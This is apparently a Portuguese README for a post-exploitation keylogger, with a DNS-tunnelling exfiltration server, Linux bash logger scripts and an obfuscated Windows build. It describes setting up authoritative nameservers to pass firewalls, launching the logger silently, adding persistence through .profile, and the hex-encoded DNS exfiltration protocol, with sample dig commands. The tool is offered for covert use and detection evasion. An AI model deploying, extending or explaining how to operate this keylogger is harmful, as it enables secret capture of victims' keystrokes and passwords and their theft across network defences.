
Servidor e cliente de keylogging que usa tunelamento/exfiltração DNS para transmitir teclas através de firewalls.
Este keylogger pós-exploração irá exfiltrar secretamente as teclas digitadas para um servidor.
Estas ferramentas são excelentes para exfiltração leve e persistência, propriedades que evitam a detecção. Elas usam tunelamento/exfiltração DNS para contornar firewalls e evitar detecção.
O servidor usa python3.
Para instalar as dependências, execute python3 -m pip install -r requirements.txt
Para iniciar o servidor, execute python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
Por padrão, o servidor escuta na porta UDP 53. Use a flag -p para especificar uma porta diferente.
ip é o endereço IP do servidor. É usado nos registros SOA e NS, que permitem que outros servidores de nomes encontrem o servidor.
domain é o domínio para escutar, que deve ser o domínio para o qual o servidor é autoritativo.
No registrador, você deve alterar o namespace do seu domínio para DNS personalizado.
Aponte-os para dois domínios, ns1.example.com e ns2.example.com.

Adicione registros que apontem os domínios de namespace para o endereço IP do seu servidor de exfiltração.

Isso é o mesmo que definir registros de glue.
O keylogger Linux consiste em dois scripts bash. connection.sh é usado pelo script logger.sh para enviar as teclas digitadas para o servidor. Se você quiser enviar dados manualmente, como um arquivo, pode redirecionar dados para o script connection.sh. Ele estabelecerá automaticamente uma conexão e enviará os dados.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
Para iniciar o keylogger, execute o comando ./logger.sh [domain] && exit. Isso iniciará silenciosamente o keylogger, e todas as entradas digitadas serão enviadas. O && exit no final fará com que o shell seja fechado ao sair. Sem ele, sair retornará ao shell sem keylog. Remova o &> /dev/null para exibir mensagens de erro.
A opção -p especificará a localização do arquivo de log temporário para onde todas as entradas são enviadas. Por padrão, é /tmp/.
A opção -l exibirá avisos e erros. Pode ser útil para depuração.
logger.sh e connection.sh devem estar no mesmo diretório para o keylogger funcionar. Se quiser persistência, você pode adicionar o comando ao .profile para iniciar em todo novo shell interativo.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
Para compilar o programa de keylogging, execute make no diretório windows. Para compilar com tamanho reduzido e alguma ofuscação, use o alvo production. Isso criará o diretório build para você e gerará um arquivo chamado logger.exe no diretório build. Eu só testei a compilação usando MinGW no Windows 10. Se você tentar usar g++ em uma máquina não Windows, provavelmente obterá erros de compilação relacionados a windows.h.
make production domain=example.com
Você também pode optar por compilar o programa com depuração usando o alvo debug.
make debug domain=example.com
Para ambos os alvos, você precisará especificar o domínio que o servidor está escutando.
Você pode usar dig para enviar requisições ao servidor:
dig @127.0.0.1 a.1.1.1.example.com A +short enviar uma requisição de conexão para um servidor no localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short enviar uma mensagem de teste para o localhost.
Substitua example.com pelo domínio que o servidor está escutando.
Requisições de registro A começando com a indicam o início de uma "conexão". Quando o servidor as recebe, ele responde com um endereço IP falso não reservado, onde o último octeto contém o id do cliente.
O seguinte é o formato a seguir para iniciar uma conexão: a.1.1.1.[sld].[tld].
O servidor responderá com um endereço IP no seguinte formato: 123.123.123.[id]
Conexões simultâneas não podem exceder 254, e os clientes nunca são considerados "desconectados".
Requisições de registro A começando com b indicam dados exfiltrados sendo enviados ao servidor.
O seguinte é o formato a seguir para enviar dados após estabelecer uma conexão: b.[packet #].[id].[data].[sld].[tld].
O servidor responderá com [code].123.123.123
id é o id que foi estabelecido na conexão. Os dados são enviados como ASCII codificado em hex.
code é um dos códigos descritos abaixo.
200: OKSe o cliente enviar uma requisição que é processada normalmente, o servidor responderá com o código 200.
201: Requisições de Registro MalformadasSe o cliente enviar uma requisição de registro malformada, o servidor responderá com o código 201.
202: Conexões InexistentesSe o cliente enviar um pacote de dados com um id maior que o número de conexões, o servidor responderá com o código 202.
203: Pacotes Fora de OrdemSe o cliente enviar um pacote com um id de pacote que não corresponde ao esperado, o servidor responderá com o código 203. Clientes e servidores devem redefinir seus números de pacote para 0. Então o cliente pode reenviar o pacote com o novo id de pacote.
204: Atingiu o Máximo de ConexõesSe o cliente tentar criar uma conexão quando o máximo foi atingido, o servidor responderá com o código 204.
Os clientes devem confiar nas respostas como confirmações de recebimento de pacotes. Se não receberem uma resposta, devem reenviar a mesma carga útil.
O arquivo de log que contém as entradas do usuário contém caracteres de controle ASCII, como backspace, delete e carriage return. Se você imprimir o conteúdo usando algo como cat, deve selecionar a opção apropriada para imprimir caracteres de controle ASCII, como -v para cat, ou abri-lo em um editor de texto.
O keylogger depende de script, portanto não será executado em shells não interativos.
Por alguma razão, o Dns_Query_A do Windows sempre envia requisições duplicadas. O servidor processará corretamente, pois descarta pacotes repetidos.